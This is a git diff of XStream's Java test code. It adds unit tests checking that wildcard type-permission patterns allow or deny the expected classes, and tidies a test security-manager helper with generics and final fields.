b/xstream/src/test/com/thoughtworks/xstream/security/WildcardTypePermissionTest.java @@ -0,0 +1,115 @@ +/* + * Copyright (C) 2014 XStream Committers. + * All rights reserved. + * + * Created on 18. November 2022 by Joerg Schaible + */ +package com.thoughtworks.xstream.security; + +import java.io.Serializable; + +import com.thoughtworks.acceptance.AliasTest; +import com.thoughtworks.acceptance.objects.Software; +import com.thoughtworks.xstream.XStream; + +import junit.framework.TestCase; + + +/** + * Tests the {@link WildcardTypePermission}. + * + * @author Jörg Schaible + */ +public class WildcardTypePermissionTest extends TestCase { + + private static class ATeam {} + + private static class BTeam {} + + private static class Cteam { + class Inner {} + } + + public void testSingleCharacterPattern() { + final TypePermission permission = new WildcardTypePermission(WildcardTypePermissionTest.class.getName() + + "$?Team"); + assertTrue("Permission denied " + ATeam.class.getName(), permission.allows(ATeam.class)); + assertTrue("Permission denied " + BTeam.class.getName(), permission.allows(BTeam.class)); + assertFalse("Permission allowed " + Cteam.class.getName(), permission.allows(Cteam.class)); + } + + public void testSinglePackagePattern() { + final TypePermission permission = new WildcardTypePermission("com.thoughtworks.acceptance.*"); + assertTrue("Permission denied " + AliasTest.class.getName(), permission.allows(AliasTest.class)); + assertFalse("Permission allowed " + Software.class.getName(), permission.allows(Software.class)); + } + + public void testSinglePackagePatternInBetween() { + final TypePermission permission = new WildcardTypePermission("com.*.acceptance.*"); + assertTrue("Permission denied " + AliasTest.class.getName(), permission.allows(AliasTest.class)); + assertFalse("Permission allowed " + Software.class.getName(), permission.allows(Software.class)); + } + + public void testMultiplePackagePattern() { + final TypePermission permission = new WildcardTypePermission("com.thoughtworks.acceptance.**"); + assertTrue("Permission denied " + AliasTest.class.getName(), permission.allows(AliasTest.class)); + assertTrue("Permission denied " + Software.class.getName(), permission.allows(Software.class)); + assertFalse("Permission allowed " + XStream.class.getName(), permission.allows(XStream.class)); + } + + public void testSinglePackagePatternExcludesAnonymousTypes() { + @SuppressWarnings("serial") + final Serializable s = new Serializable() {}; + @SuppressWarnings("serial") + class S implements Serializable {} + final TypePermission permission = new WildcardTypePermission("com.thoughtworks.xstream.security.*"); + assertTrue("Permission denied " + ATeam.class.getName(), permission.allows(ATeam.class)); + assertTrue("Permission denied " + Cteam.Inner.class.getName(), permission.allows(Cteam.Inner.class)); + assertTrue("Permission denied " + WildcardTypePermissionTest.class.getName(), permission.allows( + WildcardTypePermissionTest.class)); + assertFalse("Permission allowed " + s.getClass().getName(), permission.allows(s.getClass())); + assertFalse("Permission allowed " + S.class.getName(), permission.allows(S.class)); + } + + public void testMultiplePackagePatternExcludesAnonymousTypes() { + @SuppressWarnings("serial") + final Serializable s = new Serializable() {}; + @SuppressWarnings("serial") + class S implements Serializable {} + final TypePermission permission = new WildcardTypePermission("com.thoughtworks.xstream.**"); + assertTrue("Permission denied " + ATeam.class.getName(), permission.allows(ATeam.class)); + assertTrue("Permission denied " + Cteam.Inner.class.getName(), permission.allows(Cteam.Inner.class)); + assertTrue("Permission denied " + WildcardTypePermissionTest.class.getName(), permission.allows( + WildcardTypePermissionTest.class)); + assertFalse("Permission allowed " + s.getClass().getName(), permission.allows(s.getClass())); + assertFalse("Permission allowed " + S.class.getName(), permission.allows(S.class)); + } + + public void testSinglePackagePatternExplicitlyIncludeAnonymousTypes() { + @SuppressWarnings("serial") + final Serializable s = new Serializable() {}; + @SuppressWarnings("serial") + class S implements Serializable {} + final TypePermission permission = new WildcardTypePermission(true, "com.thoughtworks.xstream.security.*"); + assertTrue("Permission denied " + ATeam.class.getName(), permission.allows(ATeam.class)); + assertTrue("Permission denied " + Cteam.Inner.class.getName(), permission.allows(Cteam.Inner.class)); + assertTrue("Permission denied " + WildcardTypePermissionTest.class.getName(), permission.allows( + WildcardTypePermissionTest.class)); + assertTrue("Permission denied " + s.getClass().getName(), permission.allows(s.getClass())); + assertTrue("Permission denied " + S.class.getName(), permission.allows(S.class)); + } + + public void testMultiplePackagePatternExplicitlyIncludeAnonymousTypes() { + @SuppressWarnings("serial") + final Serializable s = new Serializable() {}; + @SuppressWarnings("serial") + class S implements Serializable {} + final TypePermission permission = new WildcardTypePermission(true, "com.thoughtworks.xstream.**"); + assertTrue("Permission denied " + ATeam.class.getName(), permission.allows(ATeam.class)); + assertTrue("Permission denied " + Cteam.Inner.class.getName(), permission.allows(Cteam.Inner.class)); + assertTrue("Permission denied " + WildcardTypePermissionTest.class.getName(), permission.allows( + WildcardTypePermissionTest.class)); + assertTrue("Permission denied " + s.getClass().getName(), permission.allows(s.getClass())); + assertTrue("Permission denied " + S.class.getName(), permission.allows(S.class)); + } +} diff --git a/xstream/src/test/com/thoughtworks/xstream/testutil/DynamicSecurityManager.java b/xstream/src/test/com/thoughtworks/xstream/testutil/DynamicSecurityManager.java index 5c425a670..77e077efe 100644 --- a/xstream/src/test/com/thoughtworks/xstream/testutil/DynamicSecurityManager.java +++ b/xstream/src/test/com/thoughtworks/xstream/testutil/DynamicSecurityManager.java @@ -1,11 +1,11 @@ /* - * Copyright (C) 2006, 2007, 2009, 2010 XStream Committers. + * Copyright (C) 2006, 2007, 2009, 2010, 2018, 2019 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD * style license a copy of which has been included with this distribution in * the LICENSE.txt file. - * + * * Created on 14. March 2006 by Joerg Schaible */ package com.thoughtworks.xstream.testutil; @@ -20,7 +20,6 @@ import java.util.ArrayList; import java.util.Collections; import java.util.HashMap; -import java.util.Iterator; import java.util.List; import java.util.Map; @@ -30,62 +29,59 @@ */ public class DynamicSecurityManager extends SecurityManager { - private Map permissions = new HashMap(); + private final Map permissions = new HashMap<>(); private AccessControlContext acc = null; - private List failedPermissions = new ArrayList(); + private final List failedPermissions = new ArrayList<>(); public void addPermission(final CodeSource codeSource, final Permission permission) { - PermissionCollection permissionCollection = (PermissionCollection)permissions - .get(codeSource); + PermissionCollection permissionCollection = permissions.get(codeSource); if (permissionCollection == null) { permissionCollection = new Permissions(); permissions.put(codeSource, permissionCollection); } permissionCollection.add(permission); -// updateACC(); +// updateACC(); } - public void setPermissions( - final CodeSource codeSource, final PermissionCollection permissionCollection) { + public void setPermissions(final CodeSource codeSource, final PermissionCollection permissionCollection) { if (permissionCollection == null) { if (permissions.remove(codeSource) != null) { -// updateACC(); +// updateACC(); } } else { if (permissions.put(codeSource, permissionCollection) != null) { -// updateACC(); +// updateACC(); } } } private void updateACC() { - if (permissions.size() == 0) { + if (permissions.isEmpty()) { acc = null; } else { final ProtectionDomain[] domains = new ProtectionDomain[permissions.size()]; int i = 0; - for (final Iterator iter = permissions.keySet().iterator(); iter.hasNext();) { - final CodeSource codeSource = (CodeSource)iter.next(); - final PermissionCollection permissionCollection = (PermissionCollection)permissions - .get(codeSource); + for (final CodeSource codeSource : permissions.keySet()) { + final PermissionCollection permissionCollection = permissions.get(codeSource); domains[i++] = new ProtectionDomain(codeSource, permissionCollection); } acc = new AccessControlContext(domains); } } - + public void setReadOnly() { updateACC(); } - public void checkPermission(Permission perm) { + @Override + public void checkPermission(final Permission perm) { if (acc != null) { // Ughhh. Eclipse class path leak :-/ if (perm instanceof FilePermission && "read".equals(perm.getActions())) { - String name = perm.getName(); - if (name.indexOf("org.eclipse.osgi") > 0 - && (name.endsWith("javax.xml.parsers.DocumentBuilderFactory") - || name.endsWith("javax.xml.datatype.DatatypeFactory"))) { + final String name = perm.getName(); + if (name.indexOf("org.eclipse.osgi") > 0 + && (name.endsWith("javax.xml.parsers.DocumentBuilderFactory") + || name.endsWith("javax.xml.datatype.DatatypeFactory"))) { return; } } @@ -98,7 +94,7 @@ public void checkPermission(Permission perm) { } } - public List getFailedPermissions() { + public List getFailedPermissions() { return Collections.unmodifiableList(failedPermissions); } }